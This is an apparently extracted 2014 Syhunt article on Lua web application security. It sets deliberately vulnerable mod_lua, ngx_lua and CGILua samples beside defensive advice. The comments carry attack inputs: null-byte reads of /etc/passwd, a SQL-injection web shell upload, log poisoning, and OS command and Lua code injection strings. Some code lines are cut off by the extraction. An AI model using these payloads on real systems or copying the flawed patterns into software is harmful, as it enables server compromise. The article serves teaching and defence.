Lua Web Application Security Vulnerabilities

Auditing and Defending Lua-Based Web Applications. Article by Felipe Daragon - May 26, 2014

This paper intends to highlight the risk of unvalidated input in Lua-based web applications.

Some time ago I wrote about how to detect NoSQL and server-side JavaScript (SSJS) injection vulnerabilities using time-based techniques. JavaScript is still rising and becoming more popular as a platform for server-side code. This time I want to cover security aspects of another language/framework that is being increasingly adopted for web development and that has a lot of potential: Lua.

Lua is a powerful language useful for experienced programmers but considered easy for inexperienced programmers at the same time. While Lua has been mostly used for game development, there exists a growing ecosystem of Lua web applications and frameworks. Mature web servers, like Apache & Nginx, are the prefered choice for many that are creating or thinking about creating their first Lua-based web applications - together they account for over 70% of the world's web servers and are solid choices to start. Alternative and pioneer Lua web programming tools like CGILua have been around for a while. CGILua runs on top of Apache or any CGI-enabled web server.

At Syhunt, we've been using Lua for quite some time as part of our web application security tools and a primary scripting language, and recently we started using internally the Lua modules for the Apache and Nginx web servers, known as mod_lua and ngx_lua respectively. I decided to check myself how insecurely coded Lua web applications could be targeted and how easily the servers in question could be compromised. To perform the tests, I created a small collection of insecure web applications with input validations issues tailored to each web server software.

The Results

My simulations covered File System Attacks, Cross-Site Scripting (XSS), Local File Inclusion (LFI), OS Command Injection, SQL Injection, Lua Code Injection, CRLF Injection and other top vulnerability classes. I found no way to perform Remote File Inclusion attacks like in PHP, but Lua (at the current state) fails to thwart some attacks that are only possible in older PHP versions. When Lua Pages was available, Log Poisoning was successfully used to upgrade a LFI vulnerability to remote command execution. Time-based techniques were used to spot Lua Code Injection vulnerabilities, and SQL Injection vulnerabilities, which then were used to upload a Lua web shell (backdoor) to the web servers hosting the vulnerable web applications.

Coding securely is hard, even for experienced programmers, no matter the programming language you use. If you are a web developer working with Lua, it is highly recommended that you learn about the coding mistakes that impact security and give rise to these vulnerabilities. This paper will go through the most common and important ones. If, instead, you are a pen-tester tasked with securing a website that is using Lua, this paper may be equally useful to you.

This paper demonstrates that skilled and even unskilled attackers can take deep advantage of the weaknesses listed above, and quickly uncover the flaws using automated methods. At the end you will also find some tips for hardening the web server configuration.

Cross-Site Scripting (XSS)

One of the most common vulnerabilities in today's web applications, XSS attacks (CWE-79) can be used to hijack user sessions, conduct phishing attacks, execute malicious code in the context of the user's session, spread malware and more. There are different types of XSS, such as reflected (shown in the examples above) and stored on the server (eg in a database). To prevent XSS attacks, escape user-supplied data on output or validate user input.

Print functions

  • mod_lua: r:puts(), r:write()
  • ngx_lua: ngx.say(), ngx.print()
  • CGILua: cgilua.put(), cgilua.print(), <?=somevar?>

Vulnerable code examples:

    -- /vulnerable.lua?name=<script>alert('XSS');</script>
    -- Apache & mod_lua
    function handle(r)
     local name = r:parseargs().name or ""

    -- Nginx & ngx_lua
    local name = ngx.req.get_uri_args().name or ""
    ngx.header.content_type = "text/html"

    -- CGILua
    local name = or ""


    local name = ngx.req.get_uri_args().name or ""
    name = htmlescape(name) -- see an example at the end of this paper
    ngx.header.content_type = "text/html"

SQL Injection

SQL Injection attacks (CWE-89) are used by bad guys to steal information, add or change information in a database, shut down access to a web application, bypass authentication, execute arbitrary commands, among other things. SQL Injection attacks can be effectively mitigated by using strong input validation.

In Lua, the LuaSQL library allows web applications to connect to Oracle, MySQL, SQLite, PostgreSQL and other databases and execute SQL statements. mod_lua comes with its own built-in database API for running commands on MySQL, PostgreSQL, SQLite, Oracle and other databases. Whichever option you choose for running SQL commands, be careful with user supplied input and use input validation.

The mod_lua documentation recommends the use of prepared statements whenever possible as a way to minimize the risk of SQL injection attacks. See the notes about precautions when working with databases at:

SQL execution functions

Vulnerable code example:


    -- mod_lua DB API
    function handle(r)
        r.content_type = "text/html"
        local username = r:parseargs().username or ""
        local database, err = r:dbacquire("mysql", "host=localhost,user=user,pass=,dbname=dbname")
        if not err then
           local sl = 'SELECT * FROM users WHERE username="'..username..'"'
           local results, err = database:query(r,sl)
           -- (...)
           r:puts("Could not connect to the database: " .. err)

    -- CGILua & LuaSQL
    -- /vulnerable.lua?name=John');SQLBELOW
    -- /shell.lp?cmd=dir
    local sqlite3 = require "luasql.sqlite3"
    local name =
    local env  = sqlite3.sqlite3()
    local conn = env:connect('mydb.sqlite')
    local sql = [[
    CREATE TABLE sample ('id' INTEGER, 'name' TEXT);
    INSERT INTO sample values('1','%s')
    sql = string.format(sql, name)
    for l in string.gmatch(sql, "[^;]+") do 
    -- (...)

    -- SQLLite shell upload example for CGILua
    -- ATTACH DATABASE 'shell.lp' AS shell;
    -- CREATE TABLE shell.demo (data TEXT);
    -- INSERT INTO shell.demo (data) VALUES ('<? os.execute(cgilua.QUERY.cmd) ?>

The example above works with mod_lua and ngx_lua with some minor changes if a LP preprocessor extension is enabled, but this is not exclusive of SQLLite. All SQL engines can be target of similar attacks. Most commonly targeted is MySQL:

Filesystem Attacks

In some environments, Lua filesystem functions accept parameters containing null bytes (%00), but do not handle them correctly, treating the null byte character as string terminator and ignoring all following characters. The reason is that Lua itself, like PHP, is programmed in C and relies on the operating system's filesystem functions (see PHP Null Byte Poisoning and

Keep this in mind when dealing with user input, especially when passing it to filesystem functions.

File system functions

Vulnerable example:

    -- Nginx & ngx_lua
    -- /vulnerable.lua?file=/etc/passwd%00
    -- /vulnerable.lua?file=c:\boot.ini%00
    ngx.header.content_type = "text/html"
    local file = ngx.req.get_uri_args().file or ""
    local f =".txt")
    local result = f:read("*a")

An effective solution to thwart these kinds of attacks is to avoid passing user submitted input to any filesystem API.

Local File Inclusion (LFI)

Regularly underestimated both by penetration testers and developers, Local File Inclusion vulnerabilities are commonly exploited by attackers to cause source code disclosure or to gain command execution through log poisoning and other methods.

Include and similar functions

  • Lua's require(), dofile()
  • CGILua: cgilua.handlelp(), cgilua.lp.include(), cgilua.doif(), cgilua.doscript()

Vulnerable examples:

    -- CGILua
    -- /vulnerable.lua?prod=/var/log/apache/access_log%00
    -- after sending request with user-agent "<? os.execute(cgilua.QUERY.cmd) ?>"
    local prod = or ""

    -- CGILua (2)
    -- /vulnerable.lua?prod=/var/log/apache/access_log%00
    local prod = or ""

    -- CGILua (3)
    -- /vulnerable.lua?prod=somefile.lua%00
    local prod = or ""

Lua Code Injection

This type of vulnerability (known as CWE-94) occurs when a developer uses the Lua loadstring() function and passes it untrusted data that an attacker can modify. The loadstring() function will compile the code and return a function that when called has the same effect as executing the string. Attackers can use this to inject arbitraty Lua code that is then executed by the web application.

Time-based detection methods

Using Lua code:

    /vulnerable.lua?name=John")%20c%3Dos.clock t%3Dc() while c()- t<%3D3 do end%20x%3D("`

Using LuaSocket:


Using the sleep function (ngx_lua only):


Using LuaJIT's FFI:

    ffi%3Drequire"ffi"%20ffi.cdef%20"unsigned%20int%20sleep(unsigned%20int seconds);

Vulnerable code examples:

    -- ngx_lua
    -- /vulnerable.lua?name=John")%20os.execute("notepad.exe
    local name = ngx.req.get_uri_args().name or ""
    ngx.header.content_type = "text/html"
    local html = string.format([[
     ngx.say("Hello, %s")
     ngx.say("Today is "
    ]], name)

    -- CGILua
    -- /vulnerable.lua?name=<? os.execute('ls -la') ?>
    -- /vulnerable.lua?name=<? os.execute('dir') ?>
    -- Print the source of the vulnerable script:
    -- /vulnerable.lua?name=<? cgilua.put('*a')) ?>
    local name = or ""
    local html = string.format([[
    Hello, %s!
    Today is <?>
    ]], name)
    html = cgilua.lp.translate(html)

Session Management Issues

This is another area that web developers often overlook. When not properly implemented can lead to attackers hijacking active sessions.

This is an aspect that CGILua for example has gotten wrong - it generates 9-digit session IDs based on OS time and older releases generate sequential, non-random IDs. In our attack simulations against a vulnerable CGILua-based web application, we were able to guess valid session IDs extremely quickly through brute-force attacks. I wrote more about this vulnerability at

When performing a code review or penetration test, a special attention must be given to how session identifiers are generated and handled, and to the methods used for changing user credentials. Some tools, like the Burp Sequencer, can highlight anomalies in the generation of session IDs. If you are cooking up your own session library, you should use the standard methods that already exist, instead of making your own.

Consider using the luuid library, which generates 128-bit random IDs (using /dev/urandom), or any other Lua library that can generate unique IDs based on high-quality randomness. You can also ask in the mod_lua or ngx_lua forums (take this email as an example:!topic/openresty/iGdgYxd6A64). Chances are that the Lua module developers or someone is already using a secure session ID generator.

openssl_random_pseudo_bytes() is also available through lua-openssl ( Because of the recent OpenSSL security issues, you might prefer to stay away from it, or not. See this pre-Heartbleed post by timoh6 to understand why:

The Lua's math.random(), like PHP's rand() function, uses the underlying C library's rand function and is a truly weak random number generator. Because it is cryptographically insecure, it isn't suitable for token generation.

The OWASP has a very good article about best practices for session management, which I recommend reading:

For a deeper dive on this subject, see also:

Insecure Password Hashing

When hashing the passwords, use salt and avoid the MD5 and SHA1 functions that come with the Lua modules. MD5 and SHA1 are vulnerable to collision attack, and are too fast to compute and prevent brute force (even SHA512 is too fast). Consider slow hashing such as PBKDF2, bcrypt or scrypt.

Here are two excellent articles about hashing issues by CodingHorror:

OS Command Injection

OS command injection flaws (CWE-78) allow attackers to run arbitrary commands on the remote server. Because a command injection vulnerability may lead to compromise of the server hosting the web application, it is often considered a very serious flaw. In Lua, this kind of vulnerability occurs, for example, when a developer uses unvalidated user data to run operating system commands via the os.execute() or io.popen() Lua functions.

Vulnerable code examples:

    -- /vulnerable.lua?user=demo%20|%20dir%20c:\
    -- mod_lua
    function handle(r)
     local user = r:parseargs().user or ""
     local handle = io.popen("dir "..user)
     local result = handle:read("*a")
    -- mod_lua (2)
    function handle(r)
     local user = r:parseargs().user or ""
     os.execute("ls -l /home/"..user)

    -- ngx_lua
    ngx.header.content_type = "text/plain"
    local user = ngx.req.get_uri_args().user or ""
    local handle = io.popen("ls -l /home/"..user)
    local result = handle:read("*a")

CRLF Injection

CRLF injection (CWE-93) is a technique that allows attackers to control HTTP response headers. It is fairly simple, but extremely powerful and may allow an attacker to perform a myriad of attacks including XSS. Once again, sanitizing user input before using it in headers prevents a successful attack.

Note: Apache HTTPd/mod_lua 2.4.10 (TBA) adds protection against this attack (for more details, see I also contacted the ngx_lua developer, who is considering adding the same kind of enhancement in future ngx_lua releases.

Header and redirect functions/tables

  • mod_lua: r.headers_out[]
  • ngx_lua: ngx.redirect(), ngx.header[]
  • CGILua: cgilua.redirect(), cgilua.header()

Vulnerable code examples:

    -- mod_lua
    -- /vulnerable.lua?user=demo%0d%0aNew-Header:SomeValue
    -- /vulnerable.lua?user=%0d%0a%0d%0a<script>alert('XSS')</script>
    function handle(r)
     local user = r:parseargs().user or ""
     r.content_type = "text/html"
     r.headers_out['X-Test'] = user
     r:puts('Some text')
     return apache2.OK

    -- ngx_lua
    -- /vulnerable.lua?name=%0d%0aNewHeader:Value
    local name = ngx.req.get_uri_args().name or ""
    ngx.header.content_type = "text/html"

    -- ngx_lua (2)
    -- /vulnerable.lua?user=test%0d%0aNewHeader:Value
    local user = ngx.req.get_uri_args().user or ""
    ngx.header['X-Test'] = user
    ngx.say('Some text')

    -- CGILua
    -- /vulnerable.lua?url=http://someurl%0d%0aNew-Header:SomeValue
    local url = cgilua.QUERY.url or ""

    -- CGILua (2)
    -- /vulnerable.lua?demo=test%0d%0aLocation:
    local demo = cgilua.QUERY.demo or ""

Man in the Middle

Man In The Middle attacks are an evolving threat and happen when an attacker manages to put himself into your traffic stream, where he can alter or intercept data.

If you wish to protect users from man-in-the-middle attack scenarios:

Deploy HTTPS and set the HTTP Strict Transport Security Header (, and the secure flag on all cookies to reduce this risk.

Adopt a TLS/SSL ciphersuite that supports Forward Secrecy (more about this at - this will make compromised private keys unable to decrypt past communications.

Keep your server software and Lua libraries up-to-date with the latest security fixes.

Installing Lua Libraries Over HTTPS

I discussed with the LuaRocks developer about the possibility of an attacker injecting malicious Lua code in the legit Lua packages using MITM. LuaRocks and its alternatives have not been designed to defend against MITM attacks. When installing or updating Lua modules through these systems, in case you worry about this possibility, you can try to use the GitHub mirror to download the Lua modules over SSL. To achieve this, you can invoke the luarocks command using, for example, the following parameters:

    luarocks install --only-server= luasocket

Because most rockspec files point to URLs beginning with https, this method will greatly minimize this risk.

Validating User Input

SQL Injection, Code Injection, Command Injection and XSS can be effectively mitigated by using strong input validation. Most user input will come from:

  • mod_lua: r:parseargs(), r:parsebody()
  • ngx_lua: ngx.req.get_uri_args(), ngx.req.get_post_args()
  • CGILua: cgilua.POST, cgilua.QUERY

In Lua, like in other programming languages, validation bypass is likely going to happen because of weak patterns used in pattern-matching functions, such as string.match(). In ngx_lua, there is, and, which allows to work with PCRE expressions. With mod_lua, expression parsing functions like r:strcmp_match(), r:expr() and r:regex() can also be used. Developers should pay special attention when crafting patterns to match strings, because otherwise they may be bypassed by experienced attackers. A simple validation bypass example:

    -- /vulnerable.lua?
    -- /vulnerable.lua?email=<script>alert(' XSS')</script>
    local email = ngx.req.get_uri_args().email or ""
    ngx.header.content_type = "text/html"
    if email:match("[A-Za-z0-9%.%%%+%-]+@[A-Za-z0-9%.%%%+%-]+%.%w%w+") then

HTML Escape example

function htmlescape(text)
 local special = { ['<']='&lt;', ['>']='&gt;', ['&']='&amp;', ['"']='&quot;' }
 return text:gsub('[<>&"]', special)

Be sure to check the valua project (, a recently released library for performing input validation, and (I still have to check it thoroughly)

Hardening the Server Configuration

In Apache/mod_lua, make sure you limit the scope of the SetHandler directive by using the FilesMatch directive:

    <FilesMatch "\.lua$">
      SetHandler lua-script

This will prevent "" to execute as a Lua script.

Tighten your security by making sure you have PCRE strings that perfectly match the Lua extensions. Example:

    LuaMapHandler "\.lp$"
    LuaMapHandler .lp$

The first regular expression example will match .lp, while the second example will match ulp, xlp, .lp, !lp etc, making your configuration less secure and restrictive.

Ask in the Forums

Behind the Lua modules are experienced programmers - mod_lua is maintained by Daniel Gruno (member of the Apache Software Foundation), and ngx_lua maintained by Yichun Zhang (CloudFlare). They have been putting a lot of energy into enhancing the core of the Lua modules, their performance and stability, and adding new features, and are very much open to questions, bug reports, and contributions of all kinds.

Copyright 2014 Syhunt Security

Disclaimer: The information in this advisory is provided "as is" without warranty of any kind. Details provided are strictly for educational and defensive purposes.

Syhunt is not liable for any damages caused by direct or indirect use of the information provided by this paper.